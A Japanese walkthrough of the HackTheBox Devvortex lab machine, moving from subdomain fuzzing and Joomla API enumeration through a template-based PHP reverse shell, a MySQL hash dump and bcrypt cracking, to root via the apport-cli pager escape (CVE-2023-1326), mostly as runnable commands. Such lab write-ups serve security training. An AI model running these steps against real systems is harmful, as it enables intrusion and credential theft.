
HackTheBox Devvortexのウォークスルー。サブドメインファジング、Joomla API列挙、テンプレートベースのWebシェル、bcryptハッシュクラッキング、Apport-CLI CVE-2023-1326権限昇格を扱う。
HackTheBoxのDevvortexマシンの侵害を詳細に解説する包括的な技術ウォークスルー。この経路では、初期アクセスのためのサブドメインファジング、Joomla API列挙、テンプレート改変、ラテラルムーブメントのためのデータベースハッシュ抽出とクラッキング、そしてrootへの権限昇格のための**Apport-CLI (CVE-2023-1326)**の悪用を実演する。
devvortex.htbdev.devvortex.htbapport-cli)。まず全ポートに対して高速なTCPポート探索を実施した:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
続いて、特定されたオープンポートに対してサービスおよびバージョン検出スキャンを実行した:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
ベースとなるターゲットドメインをローカルのホスト名解決テーブルに追加する:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
追加のWeb資産を特定するためにバーチャルホストをファジングする:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
結果: dev.devvortex.htbを発見。dev.devvortex.htbを/etc/hostsに追加。
新たに発見したバーチャルホスト上のルートを列挙する:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
結果: /administratorエンドポイントを発見し、Joomlaの管理者認証ポータルが露出していることが判明。
JoomlaのREST APIが公開しているエンドポイントを調査し、機密性の高いアプリケーションメトリクスとユーザーを収集する:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
列挙中に判明した認証情報を使用して、Joomlaの/administratorポータルにログインする:
System > Site Templatesに移動する。
アクティブなテンプレートを選択し、error.phpを開く。
error.phpの内容を標準的なPHPリバースシェルペイロードに置き換える。
ローカルでnetcatリスナーを起動する:
Bash
nc -lvnp 4444
存在しないページをリクエストするか、ファイルに直接アクセスしてerror.phpの実行をトリガーする。
シェルがwww-dataとして接続したら、対話型PTYセッションを生成する:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Web設定ファイルから取得した認証情報を使用して、ローカルのMySQLデータベースにアクセスする:
Bash
mysql -u lewis -p
ユーザーテーブルをクエリして、保存されている認証情報ハッシュを特定する:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
ユーザーloganのbcryptパスワードハッシュをローカルファイルに抽出する:
Bash
nano hash.txt
John the Ripperとrockyou.txtを使ってハッシュをクラックする:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
クラックした認証情報を使って、ユーザーloganとして永続的なSSHセッションを確立する:
Bash
Bash
cat user.txt
loganユーザーに許可されているバイナリを検査する:
Bash
sudo -l
出力: ユーザーは/usr/bin/apport-cliをrootとして実行できる。
インストールされているapport-cliのバージョンを確認する:
Bash
apport-cli --version
/var/crashに既存のレポートファイルがないか検査する。空の場合は、クラッシュファイルを手動で作成する:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
sudoを使って、作成したクラッシュファイルに対してapport-cliを起動する:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
vを押してView reportを選択する。
ページャー (less) が内容を読み込んだら、次を入力してシステムシェルに脱出する:
Plaintext
!/bin/bash
rootへの昇格を確認する:
Bash
whoami
# Output: root
Bash
cat /root/root.txt